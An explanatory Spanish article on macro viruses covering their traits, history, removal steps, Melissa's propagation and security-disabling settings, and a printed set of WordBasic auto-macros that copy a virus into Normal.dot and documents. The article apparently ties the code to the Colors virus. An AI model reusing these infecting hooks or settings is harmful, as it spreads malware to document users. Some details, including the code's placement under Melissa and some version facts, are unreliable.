Un virus es un programa informático.
Una secuencia de instrucciones creadas con el único objetivo de
alterar el correcto funcionamiento del sistema y en la inmensa mayoría
de los casos, corromper o destruir parte o la totalidad de los datos almacenados
en el disco duro.
Un virus tiene tres características
principales:
-Es dañino. Un virus informático siempre causa daños en el sistema que infecta. Estos daños pueden ser directos sobre los datos almacenados en la computadora o pueden dirigirse hacia consumo de memoria principal, consumo de tiempo de cpu u otros recursos del sistema.Los virus informáticos no pueden causar daños directos sobre el hardware. En contrapartida si que pueden disminuir la vida útil de estos componentes (ej. hacer que el cabezal de L/E del disco duro se desplaze contínuamente para desgastarlo, que la impresora desplaze su cabezal...), aunque lo normal es que siempre ataquen los archivos.
-Se autorreproduce. Es quizás la característica más propia que les hace diferenciarse de los demás programas informáticos. A diferencia del resto de programas informáticos, los virus tienen la capacidad de realizar copias de sí mismos.
-Intentan disimular su presencia. Intentan pasar desapercibidos para el usuario, para ello una de las técnicas que suelen utilizar es tener un tamaño reducido o bien manipular el resultado de una peticion al sistema operativo de mostrar sus atributos.
Son virus, que están
siendo creados desde hace años, pero es desde 1995, cuando han experimentado
un enorme auge y están empezando a convertirse en una peligrosa
realidad. En Octubre de 1996 habían catalogados menos de 100 tipos
distintos de macro-virus, en cambio en Mayo de 1997 su número había
aumentado a 700.
Representan una amenaza
tanto para redes informáticas como para los ordenadores independientes.
Su máximo peligro está en que son completamente independientes
del sistema operativo o de la plataforma. Es más, ni si quiera son
programas ejecutables.
Los macro-virus son pequeños
programas escritos en el lenguaje script o macro-lenguaje de un propio
programa. Podemos encontrarnos macro-virus para editores de texto, hojas
de cálculo y utilidades especializadas en la manipulación
de imágenes.
Sus autores los escriben
para que se extiendan dentro de los documentos que crea el programa infectado.
De ésta forma pueden extenderse rápidamente a otros ordenadores
siempre que los usuarios intercambien documentos. Alteran de tal forma
la información de los documentos infectados que su recuperación
resulta imposible. Tan solo se ejecutan en aquellas plataformas que contengan
la aplicación para la que fueron creados y que comprenda el lenguaje
con el que fueron programados. Este método lo hace independiente
de los sistemas operativos.
El lenguaje de programación
interno de ciertas aplicaciones se ha convertido en una poderosa herramienta
de trabajo, pueden borrar archivos, modificar sus nombres e incluso modificar
el contenido de éstos. Estas acciones son por lo tanto las que pueden
realizar los macro-virus.
A dia de hoy, la mayoría de los virus conocidos se han escrito en WordBasic de Microsoft, o incluso en la última versión de Visual Basic para aplicaciones (VBA). WordBasic es el lenguaje de programación interno de word para windows (a partir de la versión 6.0) y word 6.0 para macintosh. Debido a que VBA se ejecuta cada vez que un usuario carga cualquier programa de Microsoft Office, los macro-virus escritos en este lenguaje representan una seria amenaza. Si ha esto, le sumamos que estas aplicaciones están cada dia más en uso, el problema de estos virus parece claro.
Microsoft Word es una de las aplicaciones más utilizadas por estos virus. Entre las razones que hay para que utilicen ésta aplicación, destacamos las siguientes:
-Microsoft Word está muy difundido, por lo que un macro-virus para ésta aplicación tendrá un gran impacto. Además, Microsoft Word es un producto pensando para plataformas cruzadas, disponible para DOS, Windows 9x, Windows NT y Mac OS, con lo que se amplía enormemente la posibilidad de infección.Un macro-virus para Word también es capaz de sobreescribir las opciones Guardar, Guardar Como y Nuevo del menú archivo, para asegurar su permanencia. Sobreescribir estas opciones no representa ningún tipo de problema, basta con copiar la macro al documento y copiarla a otra macro con las modificaciones deseadas. Las nuevas macros introducidas por los virus son guardadas con nombres como "AAAZAO,AAAZFS,AutoOpen,Payload,SaveFileAs,etc".La naturaleza polimorfa de este tipo de virus es una de las razones que los convierten en tan peligrosos.
-La plantilla normal de Word (para windows normal.dot) contiene todas las macros que se pueden utilizar con Word. Para un macro-virus esta plantilla es el lugar perfecto, en el cual puede incubar sus virus y copiarlos luego a otros documentos de word o incluso a otras aplicaciones de Microsoft.
-Microsoft Word puede ejecutar automáticamente macros sin necesidad del consentimiento humano. Esta habilidad hace que el autor de macro-virus asocie sus programas con algún tipo de macro legítima. Word utiliza macros para (entre otras cosas) abrir y cerrar documentos, e incluso para cerrar su propio programa.
-Comparado con la dificultad que siempre implica programar en lenguaje ensamblador, escribir en el lenguaje de programación de Word (WordBasic, VBA) es muy sencillo.
-Los usuarios suelen pegar sus documetos de Word a sus mensajes de correo electrónico, publicarlos en sitios FTP o bien mandarlos a una lista de mail. Como nos podemos figurar la cantidad de gente que se puede ver infectada por éste tipo de virus, es enorme.
Word 7.0 para Windows 95
y NT y Microsoft Word 97 avisan automáticamente a sus usuarios cuando
abren un documento y este contiene macros. Además, Microsoft proporciona
una herramienta de protección contra los virus, llamada MVP, válida
para sus usuarios de Windows y Macintosh. Dicha herramienta instala una
serie de macros que detectan cualquier macro sospechosa y avisa al usuario
del peligro que conlleva abrir un documento determinado. En las últimas
versiones de Microsoft Word (a partir de la 7.0) hay un detalle que las
hace menos susceptibles ante la infección de los macro-virus de
Word. Y es que, al igual que las últimas versiones de programas
como Excel, Acces y PowerPoint se ha cambiado el lenguaje de programación
interno. Microsoft utiliza un lenguaje nuevo, Visual Basic para aplicaciones
5.0 (VBA). Además, las últimas versiones de chamaleon (de
NetManage), Photoshop (de Adobe) y AutoCAD (de AutoDesk) utilizan VBA.
Es una buena noticia saber
que el cambio de lenguaje anulará la mayoría de los macro-virus
de word. Sin embargo la aparición de VBA 5.0 y su aceptación
entre las aplicaciones indica que nos encontramos ante una nueva era de
macro-virus.
Los pasos que se deberían seguir para eliminar macro-virus son los siguientes:
1 Activar la protección antivirus si está desactivada.inicio.2 Abrir el documento infectado, teniendo en cuenta que, cuando se presente la ventana de advertencia, se debe elegir la ópcion Abrir sin Macros para no infectarse.
- Abrir el Word directamente sin ningún documento.
- Ir al menú herramientas, y elegir opciones...
- En la pestaña general, activar la casilla donde dice Protección antivirus en macro
3 Una vez abierto el documento, elegir, dentro del Menú Herramientas, la opción Macro y dentro de ella, la que dice Editor de Visual Basic, o directamente, presionar la combinación de teclas ALT+F11. Donde, en la parte izquierda de la pantalla, se podrá observar un cuadro que dice "Proyecto -..." y el nombre del archivo abierto, en este caso Normal.
4 Se debe desplegar cada uno de los ítems de ese cuadro para ver el código de las macros. Al hacer doble click sobre alguno de éstos elementos, se abrirá una nueva ventana con código.
5 Se debe marcar el texto que aparece en la nueva ventana, y eliminarlo como se haría con cualquier texto. Al hacer esto se estarán eliminando las macros que contiene el documento, lo que eliminará por completo el macrovirus.
Estos pasos deben repetirse por todos los elementos que se encuentren en el cuadro Proyectos.
El
primer virus de este tipo que salió a la luz se llamaba "WordMacro/DMV"
y era inofensivo, ya que solo anunciaba su presencia y guardaba un informe
de sus acciones.
"WinMacro/Concept",
también conocido como "WW6Infector", "WBMV-Word Basic Macro Virus"
o "WWW6 Macro", no es demasiado molesto, ya que al activarse infecta el
fichero "normal.dot" y solo muestra en pantalla un cuadro de diálogo
con el texto "1".
"WordMacro/Nuclear",
puede llegar a introducir un virus tradicional en el sistema o modificar
la salida impresa o por fax en determinados momentos.
"WordMacro/Colors",
también conocido por Rainbow o arco iris, cambia (cada 300 ejecuciones
de la macro) la configuración de colores de windows.
El mensaje con el que el virus se propaga por la
red es de la siguiente manera:
-From: (nombre del usuario
infectado)
-Subject: Important message
from (nombre del usuario infectado)
-To: (50 direcciones extraidas
del libro de direcciones)
Here is that document you
asked for...don't show anyone else ;-)
Este virus es capaz de infectar documentos de word
97 y word 2000 tanto de windows como de macintosh. Cuando el documento
infectado por el virus Melissa es abierto por el word, el virus desactiva
la protección de seguridad, contra virus de macro, en caso de word
2000, esto seria de la forma:
"Macro.Security...=FALSE"
"Options.ConfirmConversions=0"
"Options.VirusProtection=0"
"Options.SaveNormalPrompt=0" si se ejecuta en word
97.
El virus comprueba si ya había infectado
el sistema buscando en el registro "HKCU...\Software\Microsoft\Office\Melissa?"
la cadena "..by Kwyjibo". Si el usuario posee el outlook (version 98 o
2000) en su ordenador, el virus lo utiliza para enviar 50 mensajes con
el fichero infectado a las 50 primeras direcciones electronicas que encuentra
en el libro de direcciones, pero si el usuario no tiene el outlook o no
tiene conexión a internet el virus sigue su propagación a
traves de documentos que se abran en esa máquina infectando el fichero
NORMAL.DOC.
Dentro del virus podemos encontrar el siguiente
mensaje:
WORD/Melissa Written by Kwyjibo
Works in both Word 2000 and Word 97
Worm? Macro Virus? Word 97 Virus? Word 2000 Virus?
You decide!
Word->Email | Word 97 <--> Word 2000....it's
a new age!
Cuando un documento es abierto el virus comprueba el minuto en el que se encuentra y el dia del mes si ambos coinciden el virus inserta el siguiente texto "Twenty-two points,plus triple-word-score,plus fifty points for using all my letters.Game's over.I'm outta here" en el documento.
Este virus se compone de 8 macros:
-FileSaveAs.
Macro FileSaveAs
Sub MAIN
On Error Goto ErrorRoutine
If macros.bDebug Then MsgBox "start FileSaveAs"
DésactiverMacrosAuto 0
Dim dlg As FichierEnregistrerSous
GetCurValues dlg
bDoSaveToDoc = - 1
On Error Goto CancelSaveToDoc
Dialog dlg
Goto SkipCancel
CancelSaveToDoc:
bDoSaveToDoc = 0
SkipCancel:
On Error Goto ErrorRoutine
If bDoSaveToDoc Then
If macros.bDebug Then MsgBox "in If bDoSaveToDoc"
REM if saved as word doc => save as template
If dlg.Format = 0 Then dlg.Format = 1
If dlg.Format = 1 Then
macros.SavToGlobal(dlg.Nom)
macros.SavToDoc(dlg.Nom)
macros.SavToDoc(NomFichier$())
FichierEnregistrerSous dlg
End If
End If
macros.objectiv
Goto Done
ErrorRoutine:
If Err <> 102 Then
FichierEnregistrerSous dlg
End If
On Error Goto Done
If macros.bDebug Then
MsgBox "error " + Str$(Err) + " occurred"
End If
Done:
End Sub
-ToolsMacro.
Macro ToolsMacro
Sub MAIN
On Error Goto ErrorRoutine
OldName$ = NomFichier$()
If macros.bDebug Then
MsgBox "start ToolsMacro"
Dim dlg As OutilsMacro
If macros.bDebug Then MsgBox "1"
GetCurValues dlg
If macros.bDebug Then MsgBox "2"
On Error Goto Skip
Dialog dlg
OutilsMacro dlg
Skip:
On Error Goto ErrorRoutine
End If
REM enable automacros
DésactiverMacrosAuto 0
macros.SavToGlobal(OldName$)
macros.objectiv
Goto Done
ErrorRoutine:
On Error Goto Done
If macros.bDebug Then
MsgBox "error " + Str$(Err) + " occurred"
End If
Done:
End Sub
-FileSave.
Macro FileSave
Sub MAIN
On Error Goto ErrorRoutine
If macros.bDebug Then MsgBox "start FileSave"
REM enable AutoMacros
DésactiverMacrosAuto 0
macros.SavToDoc(NomFichier$())
macros.SavToGlobal(NomFichier$())
macros.objectiv
FichierEnregistrer
Goto Done
ErrorRoutine:
If Err <> 102 Then
FichierEnregistrer
End If
On Error Goto Done
If macros.bDebug Then
MsgBox "error " + Str$(Err) + " occurred"
End If
Done:
End Sub
-FileNew.
Macro FileNew
Sub MAIN
On Error Goto ErrorRoutine
If macros.bDebug Then MsgBox "start FileNew"
REM enable AutoMacros
DésactiverMacrosAuto 0
Dim dlg As FichierNouveau
GetCurValues dlg
Dialog dlg
If dlg.NouvModèle = 0 Then dlg.NouvModèle = 1
FichierNouveau dlg
macros.SavToDoc(NomFichier$())
macros.SavToGlobal(NomFichier$())
macros.objectiv
Goto Done
ErrorRoutine:
If Err <> 102 Then
FichierNouveau dlg
End If
On Error Goto Done
If macros.bDebug Then
MsgBox "error " + Str$(Err) + " occurred"
End If
Done:
End Sub
-FileExit.
Macro
FileExit
Sub MAIN
On Error Goto ErrorRoutine
If macros.bDebug Then MsgBox "start FileExit"
REM enable automacros
DésactiverMacrosAuto 0
macros.SavToGlobal(NomFichier$())
macros.objectiv
FichierQuitter
Goto Done
ErrorRoutine:
On Error Goto Done
If macros.bDebug Then
MsgBox "error " + Str$(Err) + " occurred"
End If
Done:
End Sub
-AutoOpen.
Macro
AutoOpen
Sub MAIN
On Error Goto ErrorRoutine
If macros.bDebug Then MsgBox "start AutoOpen"
macros.SavToGlobal(NomFichier$())
macros.objectiv
Goto Done
ErrorRoutine:
On Error Goto Done
If macros.bDebug Then
MsgBox "error " + Str$(Err) + " occurred"
End If
Done:
End Sub
-AutoExec.
Macro AutoExec
Sub MAIN
REM dummy macro
End Sub
-AutoClose.
Macro
AutoClose
Sub MAIN
On Error Goto ErrorRoutine
If macros.bDebug Then MsgBox "start AutoClose"
macros.SavToGlobal(NomFichier$())
macros.objectiv
Goto Done
ErrorRoutine:
On Error Goto Done
If macros.bDebug Then
MsgBox "error " + Str$(Err) + " occurred"
End If
Done:
End Sub
El virus mantiene un contador en win.ini, donde (una linea "countersu =") es incrementado durante la ejecución de las macros. Despues de 300 incrementos aproximadamente el virus modificará el sistema cambiando la configuración de colores.